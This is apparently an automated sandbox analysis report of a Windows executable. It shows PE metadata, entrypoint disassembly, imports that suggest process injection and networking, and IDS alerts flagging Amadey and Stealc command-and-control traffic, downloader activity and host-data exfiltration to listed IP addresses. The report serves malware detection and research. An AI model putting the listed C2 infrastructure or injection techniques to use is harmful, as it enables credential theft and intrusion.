SSDEEP:	12288:MXyHTfxyxfLot/eoWBXkTLL/+gJuGumEaheXGE/t6:1zfxyxDCG70L7RZhe2h
TLSH:	0E946D207852C033C61192715E68FFB681DDB9655F7109DBBBD40F3BAE201E26A35E3A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x41d8e4
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	9c7c36eb46cc991a5074f8a811c4c46c

Entrypoint Preview

Instruction
call 00007F0D850A3439h
jmp 00007F0D850A2B69h
int3
int3
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 0Fh
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007F0D850A353Fh
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 07h
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007F0D850A3529h
mov ecx, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
mov ecx, dword ptr [ebp-10h]
xor ecx, ebp
call 00007F0D850A23ABh
jmp 00007F0D850A2CD0h
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [00462014h]
xor eax, ebp
push eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [00462014h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6005c	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6a000	0x4c84	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x590c0	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x5919c	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x590f8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x50000	0x2c8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4e83a	0x4ea00	9502f6c19b4db30880b9787bedd56b4d	False	0.5114920757154213	data	6.570318678510966	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x50000	0x11050	0x11200	ee8ee64287e859422fc204bb3bb043a6	False	0.4244411496350365	data	4.99119978232106	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x62000	0x66ac	0x3400	f745cc3ed829d843b51492ed9430b269	False	0.15377103365384615	DOS executable (block device driver @\273)	3.8396184707600343	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	b7d16686b376821266a9345c26b7e6d6	False	0.53125	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6a000	0x4c84	0x4e00	fe92b960cfeb65791bbb06956d63fcb7	False	0.7071314102564102	data	6.5813073873237755	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
KERNEL32.dll	CreateThread, GetLocalTime, GetThreadContext, GetProcAddress, VirtualAllocEx, RemoveDirectoryA, ReadProcessMemory, GetSystemInfo, CreateDirectoryA, SetThreadContext, SetEndOfFile, DecodePointer, ReadConsoleW, HeapReAlloc, HeapSize, CloseHandle, CreateFileA, GetFileAttributesA, GetLastError, Sleep, GetTempPathA, SetCurrentDirectoryA, GetModuleHandleA, ResumeThread, GetComputerNameExW, GetVersionExW, CreateMutexA, VirtualAlloc, WriteFile, VirtualFree, WriteProcessMemory, GetModuleFileNameA, CreateProcessA, ReadFile, GetTimeZoneInformation, GetConsoleMode, GetConsoleCP, FlushFileBuffers, GetStringTypeW, GetProcessHeap, SetEnvironmentVariableW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCPInfo, GetOEMCP, GetACP, IsValidCodePage, FindNextFileW, FindFirstFileExW, FindClose, SetFilePointerEx, SetStdHandle, GetFullPathNameW, GetCurrentDirectoryW, DeleteFileW, LCMapStringW, CompareStringW, MultiByteToWideChar, HeapAlloc, HeapFree, GetCommandLineW, GetCommandLineA, GetStdHandle, FileTimeToSystemTime, SystemTimeToTzSpecificLocalTime, PeekNamedPipe, GetFileType, GetFileInformationByHandle, GetDriveTypeW, RaiseException, GetCurrentThreadId, IsProcessorFeaturePresent, QueueUserWorkItem, GetModuleHandleExW, FormatMessageW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, TryEnterCriticalSection, DeleteCriticalSection, SetLastError, InitializeCriticalSectionAndSpinCount, CreateEventW, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetSystemTimeAsFileTime, GetTickCount, GetModuleHandleW, WaitForSingleObjectEx, QueryPerformanceCounter, SetEvent, ResetEvent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsDebuggerPresent, GetStartupInfoW, GetCurrentProcessId, InitializeSListHead, CreateTimerQueue, SignalObjectAndWait, SetThreadPriority, GetThreadPriority, GetLogicalProcessorInformation, CreateTimerQueueTimer, ChangeTimerQueueTimer, DeleteTimerQueueTimer, GetNumaHighestNodeNumber, GetProcessAffinityMask, SetThreadAffinityMask, RegisterWaitForSingleObject, UnregisterWait, EncodePointer, GetCurrentThread, GetThreadTimes, FreeLibrary, FreeLibraryAndExitThread, GetModuleFileNameW, LoadLibraryExW, VirtualProtect, DuplicateHandle, ReleaseSemaphore, InterlockedPopEntrySList, InterlockedPushEntrySList, InterlockedFlushSList, QueryDepthSList, UnregisterWaitEx, LoadLibraryW, RtlUnwind, ExitProcess, CreateFileW, WriteConsoleW
ADVAPI32.dll	RegCloseKey, RegQueryInfoKeyW, RegQueryValueExA, GetSidSubAuthorityCount, GetSidSubAuthority, GetUserNameA, LookupAccountNameA, RegSetValueExA, RegOpenKeyExA, RegEnumValueA, GetSidIdentifierAuthority
SHELL32.dll	SHGetFolderPathA, ShellExecuteA, SHFileOperationA
ole32.dll	CoUninitialize, CoCreateInstance, CoInitialize
WININET.dll	HttpOpenRequestA, InternetOpenUrlA, InternetOpenW, InternetOpenA, InternetCloseHandle, HttpSendRequestA, InternetConnectA, InternetReadFile
WS2_32.dll	closesocket, inet_pton, getaddrinfo, WSAStartup, send, socket, connect, recv, htons, freeaddrinfo

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-30T09:51:05.260581+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49704	185.215.113.43	80	TCP
2024-09-30T09:51:08.225448+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49706	185.215.113.103	80	TCP
2024-09-30T09:51:08.225448+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49706	185.215.113.103	80	TCP
2024-09-30T09:51:10.709734+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49707	185.215.113.37	80	TCP
2024-09-30T09:51:10.986784+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49705	TCP
2024-09-30T09:51:11.692249+0200	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.5	49708	185.215.113.43	80	TCP
2024-09-30T09:51:12.421080+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49709	185.215.113.103	80	TCP
2024-09-30T09:51:17.015320+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49710	185.215.113.43	80	TCP
2024-09-30T09:51:17.923183+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49711	185.215.113.37	80	TCP
2024-09-30T09:51:19.891443+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49713	185.215.113.43	80	TCP
2024-09-30T09:51:20.620161+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49715	185.215.113.103	80	TCP
2024-09-30T09:51:23.127216+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49719	185.215.113.43	80	TCP
2024-09-30T09:51:35.490388+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49742	185.215.113.37	80	TCP
2024-09-30T09:51:42.783896+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49770	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 09:50:58.340621948 CEST	49674	443	192.168.2.5	23.1.237.91
Sep 30, 2024 09:50:58.340631962 CEST	49675	443	192.168.2.5	23.1.237.91
Sep 30, 2024 09:50:58.434366941 CEST	49673	443	192.168.2.5	23.1.237.91
Sep 30, 2024 09:51:04.445008039 CEST	49704	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:04.533543110 CEST	80	49704	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:04.533623934 CEST	49704	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:04.563339949 CEST	49704	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:04.568176985 CEST	80	49704	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:05.260499001 CEST	80	49704	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:05.260581017 CEST	49704	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:06.772237062 CEST	49704	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:06.772536039 CEST	49705	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:06.777895927 CEST	80	49705	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:06.778037071 CEST	49705	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:06.778115988 CEST	80	49704	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:06.778172016 CEST	49704	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:06.778455973 CEST	49705	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:06.783235073 CEST	80	49705	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:07.497730017 CEST	80	49705	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:07.498012066 CEST	49705	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:07.501384974 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:07.506195068 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:07.506294012 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:07.506366014 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:07.511168003 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:07.949908972 CEST	49674	443	192.168.2.5	23.1.237.91
Sep 30, 2024 09:51:07.949918985 CEST	49675	443	192.168.2.5	23.1.237.91
Sep 30, 2024 09:51:08.043665886 CEST	49673	443	192.168.2.5	23.1.237.91
Sep 30, 2024 09:51:08.225322962 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.225347042 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.225359917 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.225369930 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.225383043 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.225394964 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.225447893 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.225471020 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.225508928 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.225512981 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.225527048 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.225538969 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.225567102 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.225567102 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.225567102 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.230777025 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.230791092 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.230856895 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.462652922 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.462676048 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.462692976 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.462737083 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.462747097 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.462742090 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.462758064 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.462774992 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.462785959 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.462796926 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.462815046 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.462824106 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.462826014 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.462825060 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.462836981 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.462861061 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.462862968 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.462862968 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.462876081 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.462887049 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.462887049 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.462897062 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.462914944 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.462934971 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.462970018 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.463088989 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.463099957 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.463114977 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.463125944 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.463135958 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.463144064 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.463145971 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.463157892 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.463169098 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.463202000 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.463202000 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.467617035 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.467679977 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.467741013 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.467793941 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.483680964 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.483692884 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.483702898 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.483757973 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.483791113 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.483884096 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.483894110 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.483937025 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.483937025 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.483988047 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.484028101 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.484045029 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.484055996 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.484066010 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.484097004 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.484097004 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.484651089 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.484662056 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.484673023 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.484711885 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.484711885 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.484735966 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.484745979 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.484781981 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.485538006 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.485548973 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.485558033 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.485568047 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.485578060 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.485589027 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.485613108 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.485637903 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.486366034 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.486377001 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.486386061 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.486418962 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.486419916 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.486430883 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.486437082 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.486458063 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.486500025 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.487210989 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.487221003 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.487231016 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.487261057 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.487272978 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.487283945 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.487283945 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.487318039 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.487349033 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.488063097 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.488074064 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.488085032 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.488123894 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.488123894 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.488137007 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.488166094 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.488195896 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.488909960 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.488920927 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.488943100 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.488953114 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.488962889 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.488969088 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.488996983 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.489025116 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.489778042 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.489788055 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.489798069 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.489823103 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.489855051 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.490257025 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.490273952 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.490309000 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.490309954 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.490608931 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.490621090 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.490631104 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.490658045 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.490688086 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.612829924 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.612884998 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.612931967 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.612931013 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.612931967 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.612971067 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.612993002 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.613003969 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.613013983 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.613043070 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.613075018 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.613276958 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.613331079 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.613333941 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.613343000 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.613353968 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.613383055 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.613413095 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.613483906 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.613542080 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.613559961 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.613569975 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.613585949 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.613601923 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.613610983 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.613614082 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.613626957 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.613630056 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.613656044 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.613656044 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.613687992 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.613866091 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.613883972 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.613894939 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.613905907 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.613917112 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.613919020 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.613929987 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.613946915 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.613946915 CEST	49706	80	192.168.2.5	185.215.113.103
